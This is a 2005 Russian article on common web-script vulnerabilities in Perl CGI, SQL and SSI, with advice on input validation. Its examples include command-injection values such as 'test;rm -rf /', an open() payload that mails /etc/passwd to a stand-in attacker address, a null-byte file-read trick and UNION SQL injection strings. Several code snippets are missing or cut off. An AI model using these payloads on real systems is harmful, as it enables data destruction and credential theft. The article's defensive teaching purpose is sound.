Уязвимость Web-скриптов | 14:47:00 , 26 Января 2005
Вступление
Интернет пришел в Россию. Это неоспоримый факт. Еще год - полтора назад на
редком рекламном щите можно было заметить адрес электронной почты, не то что web
страницы, а сейчас все объявления пестрят ими. Вместе с ним пришел спрос на
веб-мастеров, веб-программистов. Десятки, сотни людей работают сейчас на этом
поприще в Москве. Некоторые из них получили специальное образование, остальные
изучали необходимые материалы самостоятельно. Так или иначе, многие из них, к
сожалению, просто не задумываются о проблемах безопасности. Эта статья - попытка
осветить наиболее частые из них.
Perl
Пару лет назад этот язык был самым популярным средством для написания
cgi-скриптов. Сейчас ему на смену пришли asp, php, jsp, но он еще не утратил
всей своей былой популярности. Главным доводом в пользу перехода с perl-а на эти
новые технологии была недостаточная скорость обработки cgi запросов (так
называемая проблема "бутылочного горлышка"). Поэтому, сейчас perl-скрипты
применяются в основном на небольших сайтах, и, как следствие, пишутся для
единичного использования, что отнюдь не повышает их безопасности. Следует
отметить, справедливости ради, что и во многих популярных (как свободно
распространяемых, так и входящих в состав коммерческих продуктов) скриптах
находят все новые и новые ошибки и уязвимости.
Основной и наиболее частой уязвимостью cgi-скриптов является недостаточная
проверка входных данных. Рассмотрим простейший пример:
Предположим, что переменная $subject была получена из cgi-запроса
пользователя и не прошла должной проверки. Тогда, если ее значение было, скажем
"test;rm -rf /", perl-интерпретатор вызовет shell и передаст ему на выполнение
следующую строку:
В первую очередь при написании cgi-скрипта на perl следует понимать, в каком
случае perl-интерпретатор осуществляет вызовы shell или системных функций:
функции exec() и system().
Их различие состоит в том, что после вызова exec() выполнение скрипта
останавливается, тогда как вызов system() возвращает после своего выполнения
управление вызвавшему скрипту. Параметрами обоих функций является список. Первый
элемент этого списка - программа, которую следует выполнить, а все последующие -
ее параметры вызова. При этом, согласно документации на интерпретатор perl, в
случае вызова с единственным параметром perl проверяет наличие в этом параметре
метасимволов shell-интерпретатора, и в случае их наличия вызывает этот самый
интерпретатор. В противном случае, а также в случае, когда в списке находятся
несколько элементов, perl использует системный вызов execvp(), так как он
работает быстрее чем shell. Считается, что в этом случае можно не проверять
передаваемые параметры на наличие метасимволов, так как этот вызов не умеет их
обрабатывать. Рассмотрим несколько примеров:
system("ls -l /usr/home"); # Вызов execvp()
system("ls -l /usr/home/*"); # Вызов shell
system("ls -l", "/usr/home"); # Вызов execvp()
system("ls -l", "/usr/home/*"); # Вызов execvp(),сработает
# некорректно, так как не
# будет обработан
# символ '*'.
Считается, что вызов
system("ls","$file "); # Вызов execvp() безопаснее, чем вызов
system("ls $file"); # Вызов execvp()
так как при подаче аргумента $file, равного, скажем, "aaa;rm -rf /", второй
выполнит команду "rm -rf /", а первый - - нет. Однако следует помнить, что,
скажем интерпретатор ActivePerl под Windows всегда выполняет вызов shell,
поэтому лучше все таки проверять все входные параметры.
функция open().
Предназначеная вообще-то для открывания файлов, она может также быть
использована для запуска программ. Так, вызов
open(FILEHANDLE "|telnet");
запустит программу telnet и создаст handle FILEHANDLE, соответствующий ее
стандартному вводу. Аналогично,
open(FILEHANDLE "telnet|");
запустит программу telnet и создаст handle FILEHANDLE, соответствующий ее
стандартному выводу. Таким образом, возникает возможность того, что
присутствующий в скрипте вызов функции open() будет использован не по
назначению. Например, скрипт
получивший от пользователя параметр $username, равный "mail evilhacker@some.com
< /etc/passwd|", отошлет в результате файл с паролями по электронной почте.
Поэтому следует всюду, где это только возможно, явным образом специфицировать
способ открытия файла:
open(FILEHANDLE ">filename"); # на запись
open(FILEHANDLE ">>filename"); # на дозапись
open(FILEHANDLE "
обратные кавычки ``.
Строка, заключенная между ними, передается в shell без какой бы то ни было
предварительной обработки. Понятно, что если в этой строке присутствует
недостаточно проверенная информация, полученная от пользователя, то существует
возможность выполнения любого кода.
функция eval().
Исполняет полученную на вход строку как perl- скрипт. Также может представлять
серьезную опасность, если использует недостаточно проверенные данные.
Рассмотрим тепреь, какого рода входной информации следует опасаться. Помимо
всевозможных метасимволов shell-а, которые, кстати, могут быть весьма различными
для разных интерпретаторов, не следует забывать:
- символ '/'.
Предположим, скрипт обрабатывает входные данные и перед всеми подозрительными
ему символами ставит символ '\', чтобы они не обрабатывались как метасимволы
shell: s/([\&;\`'\"|*?~<>^\[\]\(\)\{\}\$\n\r])/\\$1/g;
В этом случае, получив на вход что-нибудь вроде
some_data 'rm -rf /'
мы после обработки имеем
some_data \'rm -rf /\'
и можем спокойно использовать эту строку в shell вызовах. Однако, получив
some_data \'rm -rf /\'
мы после обработки имеем
some_data \\'rm -rf /\\'
что уже совсем не так приятно.
символ с кодом 0.
Интерпретатор perl хранит для каждой строки ее длину и не использует в отличие
от большинства системных вызовов нулевой байт как маркер конца строки. Все бы
ничего, но когда строка содержащая такой байт передается в системный вызов в
качестве параметра, вся часть после нулевого байта отбрасывается. Так например,
подав скрипту вроде
<...skip...>
open(TEXT2ECHO,"<$any_txt_file".".txt")
# откываем текст для дальнейшего вывода пользователем
<...skip...>
значение параметра $any_txt_file, равное "/etc/passwd\0" мы заставим систем
вызов fopen отбросить расширение .txt и отрыть нужный нам файл.
Другой частой ошибкой является отсутсвие проверки на наличие последовательности
символов "../" в параметрах, используемых в качестве имен открываемых файлов.
Кроме того, следует помнить и учитывать все символы, являющиеся служебными для
вызываемых скриптом программ, так как многие программы имеют, например, функцию
вызова shell.
SQL
На сегодняшний день наиболее распространными базами данных, используемыми в
web-программировании, можно назвать MySQL, PostgreSQL и MS-SQL. Проблемы,
связаные с их безопасным использованием одинаковы для perl, php или, скажем, asp.
Основная причина уязвимостей та же - - недостаточная проверка входных данных.
Если скрипт выполняет, скажем, такой запрос к БД
SELECT * FROM UserTB WHERE User=$user
то, подставив $user, равный "some UNION SELECT * FROM UserTB", получим
SELECT * FROM UserTB WHERE User=some UNION SELECT * FROM UserTB
(конечно MySQL не поддерживает запроса UNION, но это - только пример). Некоторые
борятся с этим расстановкой скобок или кавычек:
SELECT * FROM UserTB WHERE (User=$user)
или
SELECT * FROM UserTB WHERE User="$user"
однако это само по себе слабо спасает положение:
$user='some) UNION SELECT * FROM UserTB WHERE (USER<>some"
или
$user='some" UNION SELECT * FROM UserTB'
Приемлемым решением в этом случае является расстановка кавычек и проверка
входных данных на их отсутсвие. Другая обязательная превентивная мера -
использование специального пользователя с ограниченными правами для работы с
базой данных (и ни в кое случае не следует использовать пользователя sa).
Вообще такого рода уязвимости грозят не только разглашением или изменением
содержимого базы данных. В PostgreSQL и MS-SQL есть понятие хранимых процедур и
триггеров, их вызывающих. Например, среди встроенных хранимых процедур в MS-SQL,
есть такие, которые позволяют принимать и получать электронную почту, выполнять
команды операционной системы.
Кроме того, по возможности не следует хранить в тексте скриптов какую-либо
важную информацию, так как многие недостаточно хорошо написанные или
сконфигурированные web-сервера позволяют злоумышленнику получить код скрипта.
Так, например, в случае asp стоит помещать код, выполняющий подсоединение к базе
данных, в специальный файл global.asa.
SSI
Server Side Includes сами по себе никакой опасности не представляют ввиду своей
крайней простоты. Тем не менее, существуют случаи, когда с их использованием
злоумышленник может получить несанкционированый доступ к информации, хранимой на
сервере. Все скрипты, осуществляющие занесение данных в chat-ы, конференции и
всякие guestbook-и, должны проверять заносимую информацию на предмет наличия в
ней SSI-инструкций. Ситуация отягощается тем, что некоторые web-серверы не
совсем следуют спецификации и могут исполнять SSI-инструкции, которые по
спецификации таковыми не являются.
Заключение
В общем и целом, никогда и ни в коем случае нельзя доверять информации,
полученной от пользователя. Это относится и к информации, хранимой в hidden
полях форм, отсылаемых любыми методами и с любыми проверками HTTP-Referer, и к
любым данным прошедшим любые проверки на стороне клиента с помощью, скажем,
JavaScript. Вся эта информация может быть подменена злоумышленником с целью
получения несанкционированного доступа к информации на сервере, или с целью
нарушения нормального функционирования сервера.
Источники
[p.h.m] Jordan Dimov "Security Issues in Perl Scripts", P.H.M., Issue 23,
Article 02.
[r.f.p] Rain Forest Puppy, "Perl CGI problems", Phrack Magazine, Vol. 9, Issue
55, File 07.
[wwwsec] "The World Wide Web Security FAQ". Chapter 7 - Safe Scripting in Perl
http://www.w3c.org/Security/Faq/wwwsf5.html
[perlsec] The Perl Security man page.
[cgiperl2] Scott Guelich,et al."CGI Programming with Perl, 2nd Edition" O'Reilly. July 2000.